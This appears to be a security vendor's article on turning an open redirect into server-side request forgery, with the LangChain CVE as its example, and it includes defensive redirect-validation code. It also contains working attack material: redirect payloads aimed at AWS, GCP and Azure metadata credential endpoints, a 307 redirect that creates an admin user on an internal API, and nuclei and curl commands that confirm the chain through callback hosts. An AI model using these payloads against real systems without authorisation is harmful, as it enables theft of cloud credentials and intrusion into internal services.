Server follows the open redirect to reach internal services, upgrading a client-side redirect vulnerability to a server-side SSRF primitive.
TL;DR
http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1)The open redirect to SSRF chain exploits a gap in how most SSRF defenses are implemented. SSRF allowlists validate the URL the application is asked to fetch — if the URL matches a trusted domain, the request is permitted. The flaw is that SSRF allowlists rarely validate where the request ends up after following HTTP redirects. An open redirect on a trusted domain converts the server's HTTP client into a proxy for reaching internal endpoints.
This is a compound vulnerability class — CWE-601 (Open Redirect) chained with CWE-918 (SSRF). The initial open redirect may have CVSS 6.1; when the chain reaches cloud metadata credentials (as in CVE-2024-2376, LangChain), the combined severity reaches CVSS 8.6. According to PortSwigger research, open redirect SSRF chains are among the most underdetected SSRF variants because SSRF scanner payloads test direct injection, not chained redirect paths.
The attack is particularly effective against: AI/ML frameworks (LangChain, LlamaIndex, AutoGPT) that fetch external documents; webhook delivery systems; image proxies; PDF generators that fetch remote content; and any "import from URL" functionality.
The server-side HTTP client follows the redirect chain automatically. Python's requests library follows redirects by default (allow_redirects=True). Node.js fetch() follows redirects by default (redirect: 'follow'). Go's http.Client follows up to 10 redirects by default. Most implementations do not re-check the destination URL after following each redirect.
import requests
# VULNERABLE — requests follows redirects by default
# Attacker payload: trusted domain with open redirect to IMDS
attacker_url = "https://trusted-allowed.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Server-side code with SSRF allowlist — checks initial URL only
def fetch_document(url: str) -> str:
from urllib.parse import urlparse
parsed = urlparse(url)
if parsed.hostname not in SSRF_ALLOWLIST:
raise ValueError("Domain not in allowlist")
# Allowlist check passes (trusted-allowed.com is allowed)
response = requests.get(url, timeout=5) # Follows redirect to 169.254.169.254
return response.text # Returns IAM credentials| Variant | Target Endpoint | Required Condition |
|---|---|---|
| AWS IMDS v1 | http://169.254.169.254/latest/meta-data/iam/ | EC2 without IMDSv2 enforcement |
| AWS IMDS v2 | Requires PUT for token — limits standard GET redirect | 307 redirect or IMDSv2-disabled EC2 |
| GCP metadata | http://metadata.google.internal/computeMetadata/v1/ | Custom headers required (often bypassed) |
| Azure IMDS | http://169.254.169.254/metadata/identity/oauth2/token | Custom headers required |
| Kubernetes API | https://kubernetes.default.svc/api/v1/secrets | Pod service account token |
| Internal services | http://localhost:8500 (Consul), http://localhost:9200 (Elasticsearch) | Direct internal network access |
| Redis via redirect | http://localhost:6379 | HTTP-speaking service required |
LangChain's WebBaseLoader and document loading utilities used Python requests with default redirect following. The SSRF protection checked the initial URL against an allowlist but did not validate the destination after redirect:
# LangChain vulnerable pattern (pre-fix)
from langchain.document_loaders import WebBaseLoader
# Attacker's payload URL contains trusted domain + open redirect
loader = WebBaseLoader("https://trusted-partner.com/redirect?next=http://169.254.169.254/latest/meta-data/iam/security-credentials/")
docs = loader.load() # Follows redirect to IMDS — IAM credentials in docs[0].page_contentThe fix in LangChain validates the URL after following each redirect step, rejecting requests that reach private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
Standard 302 redirects convert POST to GET. A 307 redirect preserves the HTTP method. If the vulnerable server fetches URLs via POST (webhook delivery, API calls), a 307 redirect from the trusted domain carries the POST method and body to the internal endpoint:
# Attacker controls trusted-allowed.com — serves this response:
HTTP/1.1 307 Temporary Redirect
Location: http://internal-api.company.local/admin/create-user
# Server's POST request is relayed with body intact:
POST /admin/create-user HTTP/1.1
Host: internal-api.company.local
Content-Type: application/json
{"username": "attacker", "role": "admin"}CVE-2024-2376 — LangChain (CVSS 8.6)
LangChain's document loading utilities followed HTTP redirects without post-redirect destination validation. An SSRF allowlist on a trusted domain could be bypassed by pointing to that domain's open redirect. On AWS deployments, this reached http://169.254.169.254/latest/meta-data/iam/security-credentials/, yielding IAM role credentials with the permissions of the EC2 instance profile. The CVE was assigned CVSS 8.6 (C:H/I:N/A:N) because cloud credential exfiltration allows lateral movement and data access beyond the initial compromise.
Open Redirect → Internal Elasticsearch Access (Multiple Reports)
Numerous HackerOne reports document the pattern: webhook URL accepts trusted-domain.com, trusted-domain.com has ?redirect= parameter, server follows redirect to http://elasticsearch:9200/_cat/indices. Bounties in the $2,000-$8,000 range depending on exposed data. Elasticsearch on port 9200 returns cluster data without authentication in default configurations.
Capital One SSRF Pattern (2019, referenced 2024) The Capital One breach involved SSRF reaching AWS IMDS to obtain IAM credentials. While not an open redirect chain, it established the standard impact model: IMDS credentials → assume IAM role → S3 data exfiltration. Open redirect SSRF chains targeting the same endpoint carry the same severity classification.
AWS IMDSv1 responds to any GET request from within the EC2 network without authentication. If your application fetches user-supplied URLs and follows redirects without post-redirect validation, assume that any open redirect on any allowlisted domain converts to AWS IAM credential theft. Enforce IMDSv2 (PUT token required) at the EC2 instance level AND validate URL destinations after redirect.
allowlisted-domain.com/redirect?next=http://169.254.169.254/latest/meta-data/. Submit to the URL fetcher.https://your-collab.oast.fun and chain: allowlisted-domain.com/redirect?next=https://your-collab.oast.fun. A DNS/HTTP callback from the server confirms the SSRF chain executes.# Step 1: Map SSRF allowlist
# Submit direct SSRF payloads to identify what domains are allowed:
nuclei -u https://target.com/api/fetch?url=https://canary.oast.fun \
-t ssrf/ --interactsh-url https://canary.oast.fun
# Step 2: Test allowlisted domains for open redirect
# For each domain in allowlist:
nuclei -u "https://allowlisted-domain.com" -t fuzzing/redirect-params.yaml
# Step 3: Chain the redirect
# If allowlisted-domain.com/redirect?next= is confirmed:
curl -v "https://target.com/api/fetch?url=https://allowlisted-domain.com/redirect?next=https://second-canary.oast.fun"
# Monitor second-canary for callback — confirms server follows the redirect chainBreachVex detects SSRF via open redirect by chaining its open redirect detection with SSRF probe injection. When an open redirect is found on a domain that appears in the application's URL fetch allowlist, BreachVex automatically chains the redirect to SSRF targets including cloud IMDS endpoints and OOB callbacks.
import ipaddress
import requests
from urllib.parse import urlparse
# Private/reserved IP ranges that must not be reached
BLOCKED_RANGES = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # IMDS
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("::1/128"),
ipaddress.ip_network("fc00::/7"),
]
def is_private_ip(hostname: str) -> bool:
try:
addr = ipaddress.ip_address(hostname)
return any(addr in net for net in BLOCKED_RANGES)
except ValueError:
# Hostname, not IP — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
return is_private_ip(resolved)
def safe_fetch(url: str) -> requests.Response:
"""Fetch URL with SSRF protection — validates each redirect hop."""
session = requests.Session()
# Disable automatic redirect following
session.max_redirects = 0
current_url = url
for hop in range(10): # Max 10 redirect hops
parsed = urlparse(current_url)
# Validate hostname at each hop
if is_private_ip(parsed.hostname or ""):
raise ValueError(f"SSRF blocked: redirect to private IP at hop {hop}")
if parsed.hostname not in SSRF_ALLOWLIST and hop == 0:
raise ValueError("Domain not in SSRF allowlist")
resp = session.get(current_url, allow_redirects=False, timeout=5)
if resp.status_code in (301, 302, 303, 307, 308):
next_url = resp.headers.get("Location", "")
if not next_url:
break
current_url = next_url # Validate on next iteration
else:
return resp # Final response
raise ValueError("Too many redirects")// Node.js — manual redirect following with validation
const { URL } = require("url");
const https = require("https");
const dns = require("dns").promises;
const PRIVATE_RANGES = [
/^10\./,
/^172\.(1[6-9]|2\d|3[01])\./,
/^192\.168\./,
/^169\.254\./, // IMDS
/^127\./,
/^::1$/,
];
async function isPrivate(hostname) {
try {
const { address } = await dns.lookup(hostname);
return PRIVATE_RANGES.some((re) => re.test(address));
} catch {
return true; // DNS failure — treat as private
}
}
async function safeFetch(url, hops = 0) {
if (hops > 10) throw new Error("Too many redirects");
const parsed = new URL(url);
if (await isPrivate(parsed.hostname)) {
throw new Error(`SSRF blocked: ${parsed.hostname} is private`);
}
const res = await fetch(url, { redirect: "manual" });
if (res.status >= 300 && res.status < 400) {
const location = res.headers.get("location");
return safeFetch(location, hops + 1); // Validate next hop
}
return res;
}# Simplest fix — disable redirects and reject any response that redirects
import requests
def fetch_no_redirect(url: str) -> str:
resp = requests.get(url, allow_redirects=False, timeout=5)
if resp.is_redirect:
raise ValueError("Redirects not permitted for this operation")
return resp.textSSRF defenses (allowlists) permit specific trusted domains but do not prevent those domains from redirecting to internal endpoints. If the server fetches a URL from a trusted domain, and that domain has an open redirect, the server follows the redirect to any destination — including internal services, cloud IMDS, or localhost. The attacker supplies: https://trusted-allowed.com/redirect?next=http://169.254.169.254/latest/meta-data/. The SSRF filter sees trusted-allowed.com (allowed); the fetch reaches 169.254.169.254 (internal).
CVE-2024-2376 (CVSS 8.6) in LangChain Python affected the WebBaseLoader and document loading utilities. These followed HTTP redirects without validating the final destination. An attacker configured a trusted domain in the loader's allowlist that had an open redirect; the loader followed the redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/ on AWS, yielding IAM role credentials. Fixed by validating the destination after following all redirects, not just the initial URL.
AWS IMDS: http://169.254.169.254/latest/meta-data/iam/security-credentials/ (IMDSv1, no auth required) and http://169.254.169.254/latest/api/token (IMDSv2, requires PUT). GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (requires Metadata-Flavor: Google header). Azure: http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/ (requires Metadata: true header). IMDSv1 (AWS) has no additional authentication — a single GET request yields credentials.
IMDSv2 requires a PUT request to /latest/api/token with TTL, then uses the returned token in subsequent GET requests. SSRF via open redirect typically uses GET requests only (following HTTP redirects). IMDSv2 blocks most SSRF-via-redirect attacks on AWS because the redirect followthrough is a GET, not a PUT. However: (1) some HTTP clients can be coerced to issue PUT via redirect (307); (2) IMDSv2 is still optional on older EC2 instances; (3) GCP and Azure metadata do not have IMDSv2 equivalent.
Direct SSRF: the attacker directly controls the URL the server fetches. Allowlist bypass requires URL manipulation. Open redirect SSRF: the server fetches a trusted URL that happens to redirect to an internal URL. The SSRF filter passes (trusted URL); the redirect is followed (no post-redirect validation). The key distinction is that allowlist-based SSRF defenses do not protect against open redirect chaining if they validate only the initial URL.
Any server-side URL fetcher that follows HTTP redirects: HTTP client libraries (requests.get() with allow_redirects=True default in Python, fetch() in Node.js follows redirects by default, curl -L), webhook delivery systems, PDF generators that fetch remote content, image proxies, document loaders (LangChain, LlamaIndex), URL preview generators, link checkers, PDF-to-HTML converters, content import tools. The common thread: the function fetches a URL and follows redirects without post-redirect validation.
Identify server-side URL fetchers. Find domains in the allowlist (look at webhook configuration, image proxy settings, import features). Check if any allowlisted domain has an open redirect (use nuclei redirect-params.yaml against the allowlisted domains). Craft a payload: allowlisted-domain.com/redirect?next=http://169.254.169.254/. Send the payload to the fetcher. Check for: (1) Interactsh DNS/HTTP callback from the server; (2) cloud credential content in the response. Use Burp Collaborator for OOB confirmation.
HTTP 307 (Temporary Redirect) preserves the request method and body — a POST to a 307 redirect destination becomes a POST to the redirect target. This is relevant for APIs that require POST to internal endpoints. If a server-side fetcher sends a POST (e.g., webhook delivery) and follows a 307 redirect, the POST body is replayed to the internal endpoint. Standard open redirect via 302 only works for GET requests. A server with a 307-capable redirect can therefore escalate GET-only SSRF to POST-based API access.
DNS rebinding is an alternative technique to achieve the same result as open redirect SSRF. An attacker controls a domain with a short-TTL DNS record that first resolves to a public IP (passing the initial allowlist check) then switches to an internal IP (127.0.0.1, 169.254.169.254) for the actual connection. Open redirect SSRF is simpler: it does not require DNS control and works against any server that follows redirects without post-redirect validation.
Python requests: set allow_redirects=False and implement redirect following with destination validation. Node.js fetch: use redirect: 'manual', check response.status === 302, validate Location header before following. Go http.Client: set CheckRedirect to a function that validates the redirect target. The pattern: never follow redirects automatically — follow them manually with validation at each hop.